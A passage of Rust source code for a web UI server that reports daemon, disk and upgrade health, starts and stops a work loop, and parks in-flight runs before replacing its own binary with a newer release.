2628/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2629/// from the parked run's own state when the stage is
2630/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2631/// already on disk in `run.json`, so this reads them fresh rather than
2632/// trusting whatever was true the moment the park was requested.
2633fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2634    let now = Timestamp::now();
2635    let lease = updater::read_lease(&ui.home);
2636    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2637    let run_id = alive
2638        .and_then(|l| l.parked_run.as_deref())
2639        .or(progress.parked_run.as_deref());
2640    let parking = progress.stage == updater::Stage::Parking;
2641    let waited = alive.map_or_else(String::new, |l| {
2642        let secs = updater::waited_secs(l, now);
2643        format!(" (waited {} min so far)", secs / 60)
2644    });
2645    let run_text = run_id
2646        .filter(|_| parking)
2647        .map(|id| match read_run(&ui.runs, id).ok() {
2648            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2649            None => format!("run {id} is finishing"),
2650        });
2651    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2652        .filter(|t| parking && !t.is_empty())
2653        .map(|t| format!("{t} finishing"));
2654    let waiting_on = match (run_text, talks_text) {
2655        (None, None) => None,
2656        (run, talks) => {
2657            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2658            Some(format!(
2659                "{} before the address is handed over{waited}",
2660                parts.join(" and ")
2661            ))
2662        }
2663    };
2664    let detail = progress
2665        .detail
2666        .clone()
2667        .or_else(|| updater::read_note(&ui.home, &progress));
2668    let stalled = updater::stall(&progress, lease.as_ref(), now);
2669    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2670    UpgradeProgressView {
2671        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2672        stuck_kind: stalled.map(|s| s.kind),
2673        handover_alive: alive.is_some(),
2674        stage: progress.stage,
2675        from: progress.from,
2676        to: progress.to,
2677        waiting_on,
2678        started_at: progress.started_at,
2679        updated_at: progress.updated_at,
2680        detail,
2681    }
2682}
2683
2684/// The disk figures `/api/health` carries. Every number is produced by
2685/// [`crate::disk`], the same code that decides a run may not start, so the
2686/// health screen and the gate cannot disagree about what the machine looks
2687/// like.
2688#[derive(Debug, Serialize)]
2689struct DiskView {
2690    /// Free bytes on the volume holding the runs, when measurable.
2691    #[serde(skip_serializing_if = "Option::is_none")]
2692    free_bytes: Option<u64>,
2693    /// Everything the runs directory occupies, unreadable runs included.
2694    runs_bytes: u64,
2695    /// Everything the runs' worktrees occupy.
2696    worktrees_bytes: u64,
2697    /// The shared build cache's size, when the config names one.
2698    #[serde(skip_serializing_if = "Option::is_none")]
2699    cache_bytes: Option<u64>,
2700    /// Last bounded cleanup report, including retention and failure reasons.
2701    retention: Option<crate::retention::Report>,
2702}
2703
2704impl DiskView {
2705    /// Measure the three directories and re-read the config's cache.
2706    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2707        let cache_bytes = cfg
2708            .and_then(|cfg| cfg.cache_dir())
2709            .map(|dir| crate::disk::dir_size(&dir));
2710        Self {
2711            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2712            runs_bytes: crate::disk::dir_size(&ui.runs),
2713            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2714            cache_bytes,
2715            retention: ui
2716                .runs
2717                .parent()
2718                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2719                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2720        }
2721    }
2722}
2723
2724/// The daemon's state as the UI presents it.
2725#[derive(Debug, Serialize)]
2726struct DaemonView {
2727    running: bool,
2728    idle: Option<bool>,
2729    pid: Option<u32>,
2730    /// Every task and run currently in flight. Empty when idle; more than
2731    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2732    /// run going at once.
2733    current: Vec<daemon::Current>,
2734    completed: Option<u64>,
2735    stale_for_secs: Option<i64>,
2736}
2737
2738impl DaemonView {
2739    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2740    /// not this UI's — a crashed daemon must not look alive here while
2741    /// `doctor` calls it dead.
2742    fn of(status: Option<daemon::Reading>) -> Self {
2743        let Some(status) = status else {
2744            return Self {
2745                running: false,
2746                idle: None,
2747                pid: None,
2748                current: Vec::new(),
2749                completed: None,
2750                stale_for_secs: None,
2751            };
2752        };
2753        let now = Timestamp::now();
2754        let age = status.age_secs(now);
2755        Self {
2756            running: status.running(now),
2757            idle: Some(status.idle),
2758            pid: status.pid,
2759            current: status.current,
2760            completed: Some(status.completed),
2761            stale_for_secs: age,
2762        }
2763    }
2764}
2765
2766async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2767    let revisions = ui.monitor.revisions(&ui).await?;
2768    blocking(move || {
2769        // One read of the status file for the two fields that describe it, so
2770        // `daemon` and `loop` in the same answer cannot disagree about who is
2771        // running the loop.
2772        let reading = daemon::read_status(&ui.home);
2773        // Read on its own line, not inside the literal below: the loop's lock
2774        // is not reentrant, and a guard taken as a temporary there would still
2775        // be held when `loop_view` took it again.
2776        let loop_rev = ui.lock_loop().rev;
2777        // One discover for both views: each is a few git processes plus a
2778        // config render, and neither depends on anything the other reads.
2779        let cfg = deputy_config(&ui.repo);
2780        let update = cached_update_view(cfg.as_ref());
2781        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2782        let questions = ui.questions.list();
2783        Ok(Json(HealthView {
2784            version: env!("CARGO_PKG_VERSION"),
2785            home: ui.home.display().to_string(),
2786            queue_rev: revisions.0,
2787            runs_rev: revisions.1,
2788            questions_rev: revisions.2,
2789            talks_rev: revisions.3,
2790            notifications_rev: stamps_revision(
2791                &try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?,
2792            ),
2793            notifications_unread: ui.notices.count_unread(),
2794            loop_rev,
2795            runs_unreadable: runs_unreadable(&ui.runs),
2796            questions_open: questions.iter().filter(|q| q.status.open()).count(),
2797            questions_needs_owner: questions
2798                .iter()
2799                .filter(|q| {
2800                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2801                })
2802                .count(),
2803            daemon: DaemonView::of(reading.clone()),
2804            looping: ui.loop_view(reading),
2805            disk: DiskView::of(&ui, cfg.as_ref()),
2806            update,
2807            upgrade,
2808            upgrade_request_error: ui
2809                .upgrade_request_error
2810                .lock()
2811                .unwrap_or_else(PoisonError::into_inner)
2812                .clone(),
2813        }))
2814    })
2815    .await
2816}
2817
2818/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2819#[derive(Debug, Serialize)]
2820struct LoopView {
2821    /// A loop is running in *this* process.
2822    running: bool,
2823    /// It has been asked to stop and is still finishing a run.
2824    ///
2825    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2826    /// because the two differ exactly where it matters: a loop asked to stop
2827    /// while idle is gone within one poll interval, and one asked to stop
2828    /// mid-run keeps going for as long as the graph takes. The operator needs
2829    /// to be told which of those they are waiting for.
2830    stopping: bool,
2831    /// A park was asked for: the run in flight stops at its next node
2832    /// boundary rather than finishing.
2833    ///
2834    /// Separate from `stopping` because the two promise different waits. A
2835    /// stop is "when this competition ends", which can be an hour; a park is
2836    /// "after the step it is on", which is minutes and is what an operator
2837    /// waiting to replace the binary needs to see.
2838    parking: bool,
2839    /// The loop is this process's own.
2840    ///
2841    /// Spelled separately from `running` for the front end's sake, even
2842    /// though inside this process the two move together: `running: false`
2843    /// with `daemon.running: true` is the case where the operator's own `magi
2844    /// serve` owns the loop, and `owned` is the field that tells the UI its
2845    /// buttons have to explain that rather than pretend.
2846    owned: bool,
2847    /// Repository the loop uses for tasks that name none - what it was
2848    /// started with while it runs, and what a start would use before that.
2849    repo: String,
2850    /// Merge mode override in force, or `null` when each repository's own
2851    /// config decides.
2852    merge: Option<String>,
2853    /// Why the last loop in this process ended, when it ended badly.
2854    ///
2855    /// The only place a crashed loop is visible to someone holding a phone.
2856    /// It is logged at error level as well, but a terminal nobody kept open
2857    /// is not a report, and a loop that died at 3am must not read as merely
2858    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2859    /// answers the same question about the same kind of failure.
2860    last_error: Option<String>,
2861    /// The status file, judged the same way `/api/health` judges it: this is
2862    /// what says whether a loop is alive in some *other* process.
2863    daemon: DaemonView,
2864}
2865
2866/// A loop another process already owns.
2867///
2868/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2869/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2870/// published by a pid that is not ours. Excluding our own pid is what makes
2871/// stopping work at all - the loop this process runs writes that file too, so
2872/// a check that ignored the pid would decide the operator's own UI was a
2873/// stranger and refuse to stop the loop it had just started.
2874#[derive(Debug, Clone, Copy)]
2875struct Foreign {
2876    /// The pid the other process published, when it published one.
2877    pid: Option<u32>,
2878}
2879
2880impl Foreign {
2881    /// Another process's live loop, or `None` when this process is free to
2882    /// run one.
2883    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2884        // A fresh heartbeat with no pid in it is still evidence of a live
2885        // daemon. "Some other process" is the honest answer, and refusing
2886        // to start beside it is the safe one.
2887        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2888    }
2889
2890    /// How a conflict names it. The pid is the whole point of the message: it
2891    /// is what the operator needs to find the terminal that owns the loop.
2892    fn who(&self) -> String {
2893        match self.pid {
2894            Some(pid) => format!("another magi process (pid {pid})"),
2895            None => "another magi process".to_owned(),
2896        }
2897    }
2898}
2899
2900/// How a loop is started, as a future this module can hold onto.
2901///
2902/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2903/// trait object or a hand-written `Debug` impl for the sake of one seam.
2904type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2905
2906/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2907fn launch_daemon(
2908    opts: daemon::Opts,
2909    stop: daemon::Stop,
2910) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2911    Box::pin(daemon::serve_until(opts, stop))
2912}
2913
2914/// The loop this process runs, behind one lock.
2915#[derive(Debug, Default)]
2916struct LoopState {
2917    /// The loop, while there is one.
2918    live: Option<Live>,
2919    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2920    ///
2921    /// The loop is in-process state rather than a file, so nothing on disk
2922    /// would tell a second phone that the first one started it. Without this
2923    /// counter the only way to learn about a start, a stop request or a crash
2924    /// would be to poll `/api/loop`, which is the thing the change stream
2925    /// exists to avoid on a mobile link.
2926    rev: u64,
2927    /// Why the last loop ended, when it ended badly. See
2928    /// [`LoopView::last_error`].
2929    last_error: Option<String>,
2930    /// The loop was running (and not already stopping) when the last upgrade
2931    /// parked it, so the successor should start one. Set afresh by every
2932    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2933    /// update.
2934    resume_after_handover: bool,
2935}
2936
2937/// A loop in flight.
2938#[derive(Debug)]
2939struct Live {
2940    /// The cooperative stop, shared with the loop task.
2941    stop: daemon::Stop,
2942    /// The task itself, kept only to answer whether it is still there: a loop
2943    /// that panicked never records its own end, and without this the view
2944    /// would go on reporting a loop that no longer exists - the one lie that
2945    /// would leave the operator with no button to press.
2946    handle: tokio::task::JoinHandle<()>,
2947    /// What the loop was started with, so the view reports the repository and
2948    /// merge mode its runs will actually use rather than what an edit to the
2949    /// config since would give.
2950    opts: daemon::Opts,
2951}
2952
2953impl Live {
2954    /// Is the task still there? See [`Live::handle`].
2955    fn alive(&self) -> bool {
2956        !self.handle.is_finished()
2957    }
2958}
2959
2960/// Take the loop lock, recovering from a poisoned one.
2961///
2962/// What this mutex holds is a stop flag, a task handle and two counters, none
2963/// of which a panic elsewhere can leave in a state worth refusing to read.
2964/// Propagating the poison instead would mean an operator who can see the loop
2965/// running and can no longer stop it from the only surface they have.
2966fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2967    state.lock().unwrap_or_else(PoisonError::into_inner)
2968}
2969
2970/// `GET /api/loop`.
2971async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2972    blocking(move || {
2973        let reading = daemon::read_status(&ui.home);
2974        Ok(Json(ui.loop_view(reading)))
2975    })
2976    .await
2977}
2978
2979/// The body of `POST /api/loop`.
2980///
2981/// One required field and nothing else: no `default` and no unknown fields,
2982/// so a body that fails to say which way the switch was flipped is a 400
2983/// rather than a tap that quietly does the opposite of what was pressed.
2984#[derive(Debug, Deserialize)]
2985#[serde(deny_unknown_fields)]
2986struct LoopCommand {
2987    running: bool,
2988    /// Stop the run in flight at its next node boundary rather than letting it
2989    /// finish.
2990    ///
2991    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2992    /// competition is tens of minutes of paid work and finishing it is
2993    /// normally the cheapest thing to do. A park is for the operator who
2994    /// wants the process gone now - to replace the binary, most of all - and
2995    /// it costs at most the node in progress because every node writes its
2996    /// state before the next one starts.
2997    #[serde(default)]
2998    park: bool,
2999}
3000
3001/// `POST /api/loop` - start the loop in this process, or ask it to stop.
3002///
3003/// Answers with the view rather than waiting for the loop to reach the state
3004/// that was asked for. Starting is immediate anyway; stopping is not, and the
3005/// wait is a run's worth of minutes, which is not a thing to hold a phone's
3006/// request open for. `stopping` in the answer is what the operator watches
3007/// instead.
3008async fn loop_post(
3009    State(ui): State<Arc<Ui>>,
3010    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3011) -> ApiResult<Json<LoopView>> {
3012    // Taken as a `Result` so a malformed body is a 400 like every other route
3013    // here, rather than axum's default 422 that the UI has no branch for.
3014    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3015    blocking(move || {
3016        let reading = daemon::read_status(&ui.home);
3017        let foreign = Foreign::of(reading.as_ref());
3018        if body.running {
3019            ui.start_loop(foreign)?;
3020        } else {
3021            ui.stop_loop(foreign, body.park)?;
3022        }
3023        Ok(Json(ui.loop_view(reading)))
3024    })
3025    .await
3026}
3027
3028/// What `POST /api/upgrade` set in motion.
3029#[derive(Debug, Serialize)]
3030struct UpgradeView {
3031    /// The version this process is running.
3032    from: String,
3033    /// The release it is replacing itself with, when there is one.
3034    to: Option<String>,
3035    /// A run was parked first, and this is its id.
3036    parked: Option<String>,
3037    /// What the operator should expect to happen next.
3038    detail: String,
3039}
3040
3041/// The stage of an upgrade that is still moving, if the record says so.
3042/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3043fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3044    progress.filter(|p| !p.stage.terminal())
3045}
3046
3047/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3048/// Unknown diagnostics retain their complete message without guessing a delay.
3049fn upgrade_retry_after(message: &str) -> Option<u64> {
3050    if !message.contains("GitHub") || !message.contains("rate limit") {
3051        return None;
3052    }
3053    if message.contains("retry now") {
3054        return Some(0);
3055    }
3056    let duration = message
3057        .split_once("resets in ")
3058        .or_else(|| message.split_once("retry after "))?
3059        .1
3060        .split_once(')')?
3061        .0;
3062    let mut rest = duration.trim();
3063    if rest.is_empty() {
3064        return None;
3065    }
3066    let mut total = 0u64;
3067    while !rest.is_empty() {
3068        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3069        let amount: u64 = rest[..n].parse().ok()?;
3070        let scale = match rest[n..].chars().next()? {
3071            's' => 1,
3072            'm' => 60,
3073            'h' => 3600,
3074            'd' => 86400,
3075            _ => return None,
3076        };
3077        total = total.checked_add(amount.checked_mul(scale)?)?;
3078        rest = rest[n + 1..].trim_start();
3079    }
3080    Some(total)
3081}
3082
3083#[derive(Debug, Clone, Serialize)]
3084struct UpgradeRequestFailure {
3085    occurred_at: String,
3086    error: String,
3087    retry_after_secs: Option<u64>,
3088    /// Unix seconds; independent of the phone's polling cadence.
3089    retry_at: Option<u64>,
3090}
3091
3092impl UpgradeRequestFailure {
3093    fn new(error: String) -> Self {
3094        let retry_after_secs = upgrade_retry_after(&error);
3095        let now = std::time::SystemTime::now()
3096            .duration_since(std::time::UNIX_EPOCH)
3097            .unwrap_or_default()
3098            .as_secs();
3099        Self {
3100            occurred_at: jiff::Timestamp::now().to_string(),
3101            error,
3102            retry_after_secs,
3103            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3104        }
3105    }
3106}
3107
3108/// `POST /api/upgrade` - replace this binary with the newest release and come
3109/// back on it.
3110///
3111/// The one thing the deck could not do for itself. Every fix landed today
3112/// either waited for a competition to end or went in with the deck stopped,
3113/// because `cargo install` cannot overwrite a running executable on Windows.
3114/// `kaishin` can: `self_replace` **renames** the running image aside and puts
3115/// the new one in its place, so the swap itself needs no downtime. Only the
3116/// restart does, and the order is the whole design:
3117///
3118/// 1. **Park.** A run in flight stops at its next node boundary and stays
3119///    resumable, so this costs at most the node in progress rather than the
3120///    competition. Without it the honest choices were waiting an hour or
3121///    discarding paid agent work.
3122/// 2. **Replace.** The new binary goes into place while this one still runs.
3123/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
3124///    successor - see [`spawn_successor`] for what happens in the other
3125///    order.
3126/// 4. **Resume.** The next loop carries the parked run on rather than
3127///    competing again; see `daemon::attempt`.
3128///
3129/// Answers **202**: the reply has to reach the phone while this process can
3130/// still send one, and the phone learns the deck is back by reconnecting.
3131async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3132    let reading = daemon::read_status(&ui.home);
3133    if let Some(other) = Foreign::of(reading.as_ref()) {
3134        return ApiError::conflict(format!(
3135            "the loop belongs to {}, so replacing this binary would leave \
3136             that process running an old one against the same queue. Upgrade \
3137             where it was started.",
3138            other.who()
3139        ))
3140        .into_response();
3141    }
3142
3143    // A second upgrade while one is moving would replace the binary and
3144    // signal the handover again after `serve` already consumed the first
3145    // signal, leaving the process in `replaced` forever. Try-lock rather than
3146    // wait: a phone connection must not hang behind a GitHub round trip.
3147    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3148        return ApiError::conflict("another request is already preparing an upgrade")
3149            .into_response();
3150    };
3151    // Hold the same gate through recording/clearing the request outcome, so
3152    // an older response cannot overwrite a retry's result.
3153    finish_upgrade_request(&ui, upgrade_prepare(&ui).await)
3154}
3155
3156fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3157    match result {
3158        Ok(out) => {
3159            *ui.upgrade_request_error
3160                .lock()
3161                .unwrap_or_else(PoisonError::into_inner) = None;
3162            out.into_response()
3163        }
3164        Err(error) if error.status != StatusCode::CONFLICT => {
3165            let failure = UpgradeRequestFailure::new(error.message);
3166            *ui.upgrade_request_error
3167                .lock()
3168                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3169            let mut response = (error.status, Json(&failure)).into_response();
3170            if let Some(value) = failure
3171                .retry_after_secs
3172                .and_then(|secs| secs.to_string().parse().ok())
3173            {
3174                response.headers_mut().insert("retry-after", value);
3175            }
3176            response
3177        }
3178        Err(error) => error.into_response(),
3179    }
3180}
3181
3182async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3183    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3184        return Err(ApiError::conflict(
3185            "an upgrade is already in progress (this process started one and it \
3186             has not finished or failed yet)",
3187        ));
3188    }
3189    let recorded = updater::read_progress(&ui.home);
3190    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3191        return Err(ApiError::conflict(format!(
3192            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3193             stays stuck, restart the deck; on start it settles a stale record.",
3194            p.stage.as_str(),
3195            p.from,
3196            p.to.as_deref().unwrap_or("?"),
3197        )));
3198    }
3199
3200    // The same kill switch the background check honours (`disabled_by_env`),
3201    // checked before anything else for the same reason it is read before the
3202    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3203    // contact GitHub from this process", and a button press must not
3204    // override that any more than a broken `magi.toml` may.
3205    if crate::updater::disabled_by_env() {
3206        return Ok((
3207            StatusCode::OK,
3208            Json(UpgradeView {
3209                from: env!("CARGO_PKG_VERSION").to_owned(),
3210                to: None,
3211                parked: None,
3212                detail: format!(
3213                    "Automatic updates are disabled by {}. Nothing was parked \
3214                     and nothing restarted.",
3215                    crate::updater::NO_AUTOUPDATE_ENV
3216                ),
3217            }),
3218        ));
3219    }
3220
3221    // Asked before anything is disturbed. Restarting when there is nothing
3222    // to install is not a harmless no-op: it parks the run in flight and
3223    // drops every connection to pay for an upgrade that did not happen. A
3224    // probe against a deck already on the newest build did exactly that.
3225    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3226    let from = env!("CARGO_PKG_VERSION").to_owned();
3227    let latest = match crate::updater::Checker::new(&cfg.update) {
3228        Some(checker) => checker.newer_release().await,
3229        None => Ok(None),
3230    };
3231    upgrade_checked(ui, from, latest)
3232}
3233
3234fn upgrade_checked(
3235    ui: &Arc<Ui>,
3236    from: String,
3237    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3238) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3239    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3240    let Some(latest) = latest else {
3241        return Ok((
3242            StatusCode::OK,
3243            Json(UpgradeView {
3244                from,
3245                to: None,
3246                parked: None,
3247                detail: "Already on the newest release. Nothing was parked \
3248                         and nothing restarted."
3249                    .to_owned(),
3250            }),
3251        ));
3252    };
3253
3254    // Parked before anything is replaced: a successor that came up while a
3255    // run was mid-node would find a run nobody is driving.
3256    let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
3257    let detail = match &parked {
3258        // Honest about the wait. A park takes effect at the *next* node
3259        // boundary, so a run mid-implement finishes that wave first - up to
3260        // `timeout_implement`, an hour by default. Saying "restarting now"
3261        // would make the deck look wedged for the rest of it.
3262        Some(run) => format!(
3263            "Run {} is parking at its next step, which can take as long as \
3264             the step it is on - up to an hour for an implement wave. The \
3265             deck replaces itself once it parks, comes back, and the loop \
3266             carries that run on from where it stopped. Nothing is lost if \
3267             you close this.",
3268            crate::run::short_of(run)
3269        ),
3270        None => "The deck replaces itself and comes back. Nothing was in \
3271                 flight to park."
3272            .to_owned(),
3273    };
3274
3275    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3276    // poll must see a `Downloading` stage immediately, not whenever the
3277    // spawned task happens to get scheduled.
3278    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3279    progress.parked_run = parked.clone();
3280    // A failed write is logged, not returned: the loop is already parked
3281    // above, and bailing out here would leave it parked with no upgrade
3282    // spawned to hand over or resume it.
3283    updater::write_progress_logged(&ui.home, &progress);
3284
3285    let home = ui.home.clone();
3286    let looping = ui.looping();
3287    ui.upgrade_spawned
3288        .store(true, std::sync::atomic::Ordering::SeqCst);
3289    let spawned = Arc::clone(&ui.upgrade_spawned);
3290    tokio::spawn(async move {
3291        if let Err(e) = upgrade_and_restart(home.clone()).await {
3292            tracing::error!("the upgrade did not complete: {e:#}");
3293            lock_or_recover(&looping).resume_after_handover = false;
3294            // A failure of this attempt says nothing about a handover an
3295            // earlier request already has in flight; checked and written
3296            // under the progress lock.
3297            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3298            // Released last: until the cleanup above is done, a retry must
3299            // not be able to park and record state this would then undo.
3300            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3301        }
3302    });
3303
3304    Ok((
3305        StatusCode::ACCEPTED,
3306        Json(UpgradeView {
3307            from,
3308            to: Some(latest.tag_name),
3309            parked,
3310            detail,
3311        }),
3312    ))
3313}
3314
3315/// Replace the binary, then ask [`serve`] to hand the address over.
3316///
3317/// Separated from the handler so the 202 is already on its way, and separated
3318/// from the spawn so the successor starts only after the listener is dropped.
3319async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3320    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3321    // hang the upgrade for as long as the process lives.
3322    crate::updater::run_self_update(true, false, true).await?;
3323    updater::log_step(&home, "binary replaced - recording the replaced stage");
3324    if let Some(mut progress) = updater::read_progress(&home) {
3325        progress.advance(updater::Stage::Replaced);
3326        updater::write_progress_logged(&home, &progress);
3327    }
3328    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3329    HANDOVER.notify_one();
3330    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3331    Ok(())
3332}
3333
3334/// One row in the run list.
3335///
3336/// The list route returns this rather than whole `RunState`s: the summary of a
3337/// run is a few hundred bytes and the state is megabytes, and the difference
3338/// is what makes the history usable on a mobile link.
3339#[derive(Debug, Serialize)]
3340struct RunSummary {
3341    id: String,
3342    short: String,
3343    status: String,
3344    done: bool,
3345    instruction: String,
3346    title: String,
3347    repo: String,
3348    repo_name: String,
3349    created_at: String,
3350    updated_at: String,
3351    candidates: usize,
3352    viable: usize,
3353    judges: usize,
3354    winner: Option<char>,
3355    reviews: usize,
3356    quota_losses: usize,
3357    event: Option<String>,
3358    /// The later attempt at the same task that replaced this one, if any.
3359    ///
3360    /// Two cards with one title is otherwise unreadable: this is what lets
3361    /// the deck say "superseded by 4043" on the older of the pair.
3362    superseded_by: Option<String>,
3363    /// Blocked on a question nobody has answered.
3364    ///
3365    /// Derived from the question store rather than stored on the run: an agent
3366    /// calling `magi ask` blocks mid-node, and writing a status from there
3367    /// would race the graph's own save of `run.json` and be overwritten at the
3368    /// next node boundary. Asking the store is always true and never races.
3369    waiting: bool,
3370    /// Whether the process recorded as driving this run can still be proven
3371    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3372    /// rather than presenting its last graph node as still in flight.
3373    live: crate::run::Liveness,
3374    /// The land loop's last look at the pull request, when there is one.
3375    pr: Option<crate::run::PrRecord>,
3376    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3377    /// design — never picked up by the PR-polling merge watcher, unlike an
3378    /// ordinary `Ready` that may still be a live landing candidate. See
3379    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3380    /// re-deriving the same check from `status` and `merge.mode` itself.
3381    unmerged_by_design: bool,
3382    /// Derived presentation status matching [`RunDetailView::display_status`].
3383    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3384    #[serde(default)]
3385    display_status: String,
3386    /// What the status badge shows: `display_status`, or `superseded` for a
3387    /// non-live run a later attempt replaced. See [`run_badge_status`].
3388    #[serde(default)]
3389    badge_status: String,
3390    /// Who started the run, as the one label every surface shares; the
3391    /// "origin unknown" wording when the record predates origins.
3392    origin_label: String,
3393}
3394
3395impl RunSummary {
3396    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3397        Self {
3398            id: state.id.clone(),
3399            short: state.short().to_owned(),
3400            status: status_word(state.status),
3401            done: state.status.done(),
3402            unmerged_by_design: state.unmerged_by_design(),
3403            display_status: run_display_status(state, waiting, live),
3404            badge_status: run_display_status(state, waiting, live),
3405            instruction: state.instruction.clone(),
3406            title: title_from(&state.instruction, TITLE_MAX),
3407            repo: state.repo.display().to_string(),
3408            repo_name: state
3409                .repo
3410                .file_name()
3411                .map(|n| n.to_string_lossy().into_owned())
3412                .unwrap_or_default(),
3413            created_at: state.created_at.to_string(),
3414            updated_at: state.updated_at.to_string(),
3415            candidates: state.candidates.len(),
3416            viable: state.viable().len(),
3417            judges: state.config.graph.judges,
3418            winner: state.winner().map(|c| c.label),
3419            reviews: state.reviews.len(),
3420            quota_losses: state.quota.len(),
3421            event: state.events.last().map(|e| e.message.clone()),
3422            waiting,
3423            live,
3424            // Filled in by the list route, which is the only place that can
3425            // see a task's other attempts.
3426            superseded_by: None,
3427            pr: state.pr.clone(),
3428            origin_label: crate::run::origin_label(state.origin.as_ref()),
3429        }
3430    }
3431}
3432
3433/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3434/// the same string `serde` writes for the status inside a full run.
3435fn status_word(status: RunStatus) -> String {
3436    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3437    // was a third way of naming the same statuses, and one that changed
3438    // silently with a derive.
3439    status.as_str().to_owned()
3440}
3441
3442/// The presentation status for a run, unified across summaries and details.
3443///
3444/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3445/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3446/// runs awaiting operator answers.
3447fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3448    if waiting {
3449        return "waiting".to_owned();
3450    }
3451    if state.unmerged_by_design() {
3452        return "unmerged".to_owned();
3453    }
3454    if !state.status.done() && live == crate::run::Liveness::Dead {
3455        // The driver claim clears this flag before saving another event.
3456        // A previous park event can therefore outlive a resumed driver.
3457        if state.parked {
3458            return "parked".to_owned();
3459        }
3460        return "stale".to_owned();
3461    }
3462    status_word(state.status)
3463}
3464
3465/// The word a run's status badge shows: `display_status`, except that a
3466/// non-terminal run which is not provably live and was replaced by a later
3467/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3468///
3469/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3470/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3471/// own word, so superseded never claims more than "not live".
3472fn run_badge_status(
3473    state: &RunState,
3474    display_status: &str,
3475    live: crate::run::Liveness,
3476    superseded: bool,
3477) -> String {
3478    if state.status.done() || live == crate::run::Liveness::Live {
3479        return display_status.to_owned();
3480    }
3481    if superseded {
3482        return "superseded".to_owned();
3483    }
3484    // A dead run's `display_status` is `stale`, except that a deliberate park
3485    // and an open owner question keep their own word: neither is a crash, and
3486    // the question still needs an answer. Anything else dead reads `stale`.
